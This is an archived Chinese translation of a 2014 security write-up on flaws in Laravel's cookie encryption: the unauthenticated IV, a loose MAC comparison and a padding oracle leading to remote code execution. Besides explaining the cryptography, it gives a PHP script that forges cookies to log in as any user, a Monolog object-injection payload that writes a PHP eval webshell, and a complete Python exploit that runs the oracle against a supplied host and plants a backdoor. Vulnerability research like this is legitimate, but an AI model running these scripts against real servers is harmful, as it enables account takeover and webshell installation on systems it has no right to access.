# Laravel cookie伪造,解密,和远程命令执行

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-04-29T09:48:00Z
Canonical: https://wepostx.com/topics/450

> 乌云历史资料归档
>
> **原始作者：** fate0
> **原始编号：** superkieran-wooyundrops:235
> **原始发布时间：** 2014-04-29 17:48
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

from:[laravel-cookie-forgery-decryption-and-rce](https://labs.mwrinfosecurity.com/blog/2014/04/11/laravel-cookie-forgery-decryption-and-rce/)

## 0x00 内容

- 名词约定

- 简介

- 任意用户登录

- 发送任意密文

- 解密密文

- 为任意明文伪造合法的密文

- 远程代码执行

- 译者总结

## 0x01 名词约定

### 下图为CBC模式加密过程

![原文图片](/media/2016/06/116ff9b533dd7c1793819229d6a4d578)

### 下图为CBC模式解密过程

![原文图片](/media/2016/06/ac5397430489d1b56a7716bdd59c6e89)

- Plaintext: 明文(P)

- Ciphertext: 密文(C)

- Initialization Vector: 初始化向量(IV)

- Key: 密钥(K)

![原文图片](/media/2016/06/86abbf6227b76ef011343534bc7b0ca7)

## 0x02 简介

Laravel PHP框架中的加密模块存在漏洞，攻击者能够利用该漏洞伪造session cookie来实现任意用户登录， 在某些情况下，攻击者能够伪造明文对应的密文，并以此来实行远程代码执行。
Laravel是一个免费，开源的PHP框架，它为现在的web开发人员提供了很多功能，包括基于cookie的session功能。 为了防止攻击者伪造cookie，Laravel会为其加密并带上一个消息认证码(MAC)。当接收到cookie时，会计算出相对应的MAC， 并与cookie所带的MAC做比较。如果两MAC不一致，则认为cookie已经被篡改，请求会被终止。

## 0x03 任意用户登录

下面的代码展示了MAC验证和解密过程:

```text
#!php $payload = json_decode(base64_decode($payload), true); if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key)) throw new DecryptException("MAC for payload is invalid."); $value = base64_decode($payload['value']); $iv = base64_decode($payload['iv']); $plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));
```
从上面的代码可以看出MAC只对value进行校验，并不能保证初始化向量(IV)的完整性。 Laravel使用Rijndael－256的密码分组链接(CBC)模式。 着也就意味着，没有对IV进行校验，攻击者能够任意修改第一个块的明文。
Laravel “remember me”的cookie格式是user ID字符串，因此恶意用户可以修改他们自个的session cookie，达到登录任意用户，假设我们的用户ID为"123"，session cookie原始明文为 s:3:"123";后接22byte的补充: s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16 (译者注: Laravel用的是PKCS7 padding，与PKCS5不同的是，[PKCS5](http://tools.ietf.org/html/rfc2898)明确填充的内容psLen是1-8， 而[PKCS7](http://tools.ietf.org/html/rfc2315)没有这限制。)
假设系统生成的cookie中的IV是这样子的:

```text
V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84
```
如果我们想伪造ID为1的用户，也就是cookie明文为s:1:"1";后接24byte的补充，为了能够使服务器端成功解密出ID为1的明文， 需要按照以下步骤生成IV:

![原文图片](/media/2016/06/00c47f7468e74307a9e3d21c5b4d7bdf)

就获得了Pb 相对应的IVb，提交新的cookie，我们就成了ID为1的用户，也可以用同样的方法来登录其他ID。 对攻击者来说，能够登录任意用户也是相当牛逼的，但你能牛逼的程度取决于应用程序傻逼的程度。有没有一种方法， 能够通杀使用Laravel的应用呢？

## 0x04 发送任意密文

另外一个问题，进行MAC检验的时候使用的是!=。这以为着PHP在实际比较前会进行类型判断。hash_hmac返回的结果永远都是字符串， 但是如果$payload['mac']是一个整型，那么强制类型转换会使得伪造一个对应的MAC变得相对简单， 例如，正确的MAC以"0"或者其他非数字起头，那么整数0将与之匹配，如果以"1x"(x非数字)，那么整数1与之匹配，依此类推。 (译者注:作者难道没有被1e[1-9]xxx坑过没?)

```text
#!php var_dump('abcdefg' == 0); // true var_dump('1abcdef' == 1); // true var_dump('2abcdef' == 2); // true
```
由于MAC是经过json_decode处理的，攻击者可以提供一个整型的MAC，这也就意味着，攻击者能够提供一个正确的MAC给任意密文。

## 0x05 解密密文

Laravel使用的是CBC模式的分组密码，我们也能够提供任意密文让其解密，我们是否能够实施一次牛逼哄哄的 [CBC padding oracle attack](http://link.springer.com/chapter/10.1007/3-540-46035-7_35)攻击呢？ 答案是：在某种情况下，YES
一次有预谋的padding oracle attack攻击需要目标应用能够泄漏不同填充下解密的状态，回头看看解密过程的代码， 有三个地方填充状态可能会被泄漏:

- mcryptDecrypt(): 无侧漏，就是调用mcrypt_decrypt()，没对padding进行处理

- stripPadding(): 无明显侧漏，该方法检测padding是否合法，但不会报告错误，只是返回输入是否被篡改。 这里有个基于时间的边信道侧漏，是否多调用substr()，但是我们选择无视它。

- unserialize(): 当error reporting启用，一个不合法的PHP序列化字符串，它会侧漏输入字符串的长度。
嗯，当PHP reporting启用时(其实应该是Laravel的debug模式开启时)，反序列化解密后的数据会告诉我们有多少byte的padding被去除， 例如unserialize()爆出"offset X of 22 bytes"的错误时，我们就可以知道这里有10byte的padding。
这样的侧漏对于组织一次有预谋的padding oracle attack来说，足够！

## 0x06 为任意明文伪造合法的密文

既然有了个CBC decryption oracle，那就很有可能利用[CBC-R](https://www.usenix.org/legacy/events/woot10/tech/full_papers/Rizzo.pdf)技术来加密任意明文。

![原文图片](/media/2016/06/f9e755dca76153265e47fa5789d8e10a)

CBC模式的解密过程为 Pi=DK(Ci) xor Ci−1,C0=IV ，如果攻击者能够控制或者知晓 DK(Ci) 和Ci−1 ， 他就能够生成他想要的明文块。既然这里有个选择密文攻击，很显然攻击者能够控制 Ci 和 Ci−1 ， 至于DK(Ci)
我们能够利用decryption oracle获得，因此攻击者无需知道密钥K即可对任意明文加密。牛逼吧，如果应用程序使用了这套加密API，我们就伪造密文来执行敏感操作，但是这还是得取决于应用有多傻逼， 我们希望变得更牛逼。

## 0x07 发送任意密文

我们已经使用unserialize()作为我们padding oracle的基础， 那我们再次利用unserialize()作一次PHP对象注入来达到任意代码执行，如何？
经过搜索Laravel代码之后，发现还是蛮多类定义了 __wakeup() 或者 __destruct() 魔术方法， 不过我发现最有趣的一个类当属被很多项目引用的monolog PHP日志记录框架中的BufferHandler类，显然，如果payload利用的是被广泛应用的monolog而不是其他特定的类，会更为通用。 使用Composer(PHP依赖管理器)时，monolog很有可能被包含，因为它可能被注册为PHP class autoload，这也就意味着， monolog不用被明确的包含在我们请求的文件中，当我们反序列化的时候，PHP会自动寻找加载这个类。
BufferHandler类包装这另外一个log处理类，当BufferHandler对象被销毁时，BufferHandler对象会用它包含的实际处理log的对象处理它当前的log buffer，一个比较好的选择是能够存储到任意流资源(比如说文件流)的StreamHandler类，所以我们的计划是注入一个包含StreamHandler对象的BufferHandler对象，其中StreamHandler对象的流资源指向web根目录，并且BufferHandler内包含着带有php webshell的log buffer，好，计划通，行动。
利用下面的代码，很容易生成对应的payload:

```text
#!php <?php require_once 'vendor/autoload.php'; use Monolog\Logger; use Monolog\Handler\StreamHandler; use Monolog\Handler\BufferHandler; $handler = new BufferHandler( new StreamHandler('target-file.php') ); $handler->handle(array( 'level' => Logger::DEBUG, 'message' => '<?php eval(hex2bin($_GET[\'x\']));?>', 'extra' => array(), )); print bin2hex(serialize($handler)) . "\n"; ?>
```
上面的脚本会生成我们的payload:

```text
O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}
```
通过上面介绍的技巧，我们可以加密该payload，作为cookie提交上去的时候，代码就执行了。

## 0x08 译者总结

对于原作者所说的漏洞，我拿一个开源blog [laravel-4.1-simple-blog](https://github.com/5-say/laravel-4.1-simple-blog) 做实验，将关键文件回滚到存在漏洞状态，如果有人想研究，也可以在这[laravel-cookie-forgery-decryption-and-rce.zip](http://static.wooyun.org/20141017/2014101716030797096.zip)下载完整文件。

### 测试1 任意用户登录
在本地:
[email protected]，得到用户ID为62，利用以下代码即可获取指定ID用户的cookie

```text
#!php <?php if ($argc < 4) { print("[*] Usage ".$argv[0]." cookie userid targetid\n"); return; } $cookie = json_decode(base64_decode($argv[1]), true); $userid = $argv[2]; $targetid = $argv[3]; $iv_a = base64_decode($cookie['iv']); $p_a = addPadding(serialize($userid)); $p_b = addPadding(serialize($targetid)); $iv_b = base64_encode($iv_a ^ $p_a ^ $p_b); $cookie['iv'] = $iv_b; echo base64_encode(json_encode($cookie))."\n"; function addPadding($value) { $block_size = 32; $pad = $block_size - (strlen($value) % $block_size); return $value.str_repeat(chr($pad), $pad); } ?>
```
运行结果

![原文图片](/media/2016/06/cc6794510528e77f272e3615ab78bf02)

### 测试2 利用padding oracle来实现RCE
我修改原作者生成payload的脚本，对比生成的payload和原作者给的payload，发现原作者把一些无用的protect属性给去除了， payload显得比较短，打算直接使用作者给的payload。
但是！原作者的payload留了个大坑，正常访问下，index.php的工作目录是web目录， 但是unserialize cookie之后产生的BufferHandler对象和字符串做运算，而BufferHandler类没实现__toString魔术方法， 从而导致触发fatal error，使用register_shutdown_function注册的回调函数$this->close被调用，但是！在我测试环境ubuntu 12.04 64bit + php 5.3.10下，触发异常导致$this->close被调用的时候，工作环境被切换到了根路径'/'，从而导致写文件失败。
另外一个坑是mac校验处，本来以为(10/16.0) ** 3 = 0.244140625，开头连续三个数字字符的概率还算低，结果跑一遍才发现远远低估mac校验这里的情况了，比如说正确的校验值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd， 这种情况就让人很无奈。在实际情况中，正确的做法是换payload，在这里我就直接换key， 最后把key换成Http://WeiBo.COM/Fatez3r0/home?Y。 由于程序推ciphertext，推cv的关联性，以及推1 byte cv的随机性，多线程在此处意义不大。
下面是我根据上面的原理编写的exploit

```text
#!python #! /usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import re import sys import json import struct import base64 import requests from optparse import OptionParser def init_parser(): print("") print("=== POC for laravel RCE ===") print("=== by fate0 ===") print("=== [email protected] ===") print("=== weibo.com/fatez3r0 ===") print("") usage = "Usage: %prog --host http://www.fatezero.org" parser = OptionParser(usage=usage, description="POC for laravel RCE") parser.add_option("--host", type="str", dest="host", help="remote host name") return parser class LaravelOracle(object): """ 提供32位的payload，也就是明文P 返回相对应的32byte IV """ block_size = 32 def __init__(self, domain, plaintext, ciphertext): self.domain = domain self.timeout = 7 self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M) self.plaintext = bytearray(plaintext) # 32byte的payload self.ciphertext = bytearray(ciphertext) # 32byte的ciphertext self.cv = bytearray() # 正确的cv (中间值) self.iv = bytearray() self.cookie = { 'mac': 0, 'value': self.ciphertext, 'iv': bytearray('0'*32) } self.modify_cookie_mac() @staticmethod def add_padding(value): """ 对value进行padding """ pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size) return "{value}{padding}".format(value=value, padding=chr(pad)*pad) @staticmethod def format_cookie(cookie): """ 将易操作的cookie转换成laravel的cookie """ tmp_cookie = dict() send_cookie = dict() tmp_cookie['iv'] = base64.b64encode(cookie['iv']) tmp_cookie['value'] = base64.b64encode(cookie['value']) tmp_cookie['mac'] = int(cookie['mac']) send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie)) return send_cookie def modify_cookie_iv(self, index): if len(self.cv) != index: print("[-] Something Wrong") sys.exit() tmp_append = bytearray() for each_c in self.cv: tmp_append.append(each_c ^ (index+1)) self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append def modify_cookie_mac(self): """ 获取正确的mac 一个32byte的分组，只有1个正确的mac """ while True: send_cookie = self.format_cookie(self.cookie) response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout) if response.status_code == 500: return True self.cookie['mac'] += 1 def guess_cookie_iv_byte(self, index, value): """ 猜测一个字节的IV """ self.cookie['iv'][LaravelOracle.block_size-index-1] = value send_cookie = self.format_cookie(self.cookie) response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout) re_result = self.re_pattern.findall(response.content) if not re_result: if index != 31: return False if response.status_code == 200: self.cv.insert(0, value ^ (index+1)) return True elif int(re_result[0]) >= LaravelOracle.block_size - index: return False else: self.cv.insert(0, value ^ (index+1)) return True def exploit(self): for index in xrange(32): self.modify_cookie_iv(index) for value in xrange(256): if self.guess_cookie_iv_byte(index, value): break print(index, hex(self.cv[0])) for p_char, cv_char in zip(self.plaintext, self.cv): self.iv.append(p_char ^ cv_char) def main(): parser = init_parser() option, _ = parser.parse_args() domain = option.host if not domain: parser.print_help() sys.exit(0) domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain) domain = domain if not domain.endswith('/') else domain[:-1] cookie = dict() cookie['mac'] = 0 payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29''' ''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}''' '''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php ''' '''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''') padding_payload = LaravelOracle.add_padding(payload) payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload)) ciphertext = bytearray('0'*32) for each_payload_block in payload_block: print("[plaintext] {payload_block}".format(payload_block=each_payload_block)) print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32])))) LO = LaravelOracle(domain, each_payload_block, ciphertext[:32]) LO.exploit() print("[iv] {iv}".format(iv=base64.b64encode(LO.iv))) ciphertext = LO.iv + ciphertext cookie['iv'] = ciphertext[:32] cookie['value'] = ciphertext[32:] cookie['mac'] = 0 while True: send_cookie = LaravelOracle.format_cookie(cookie) requests.get(domain, cookies=send_cookie, timeout=7) if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200: print("cookie: \n{cookie}".format(cookie=send_cookie)) return cookie['mac'] += 1 if __name__ == '__main__': main()
```
运行结果

![原文图片](/media/2016/06/57cc06d6e6e08d950ca47b7f12d4c637)

## Replies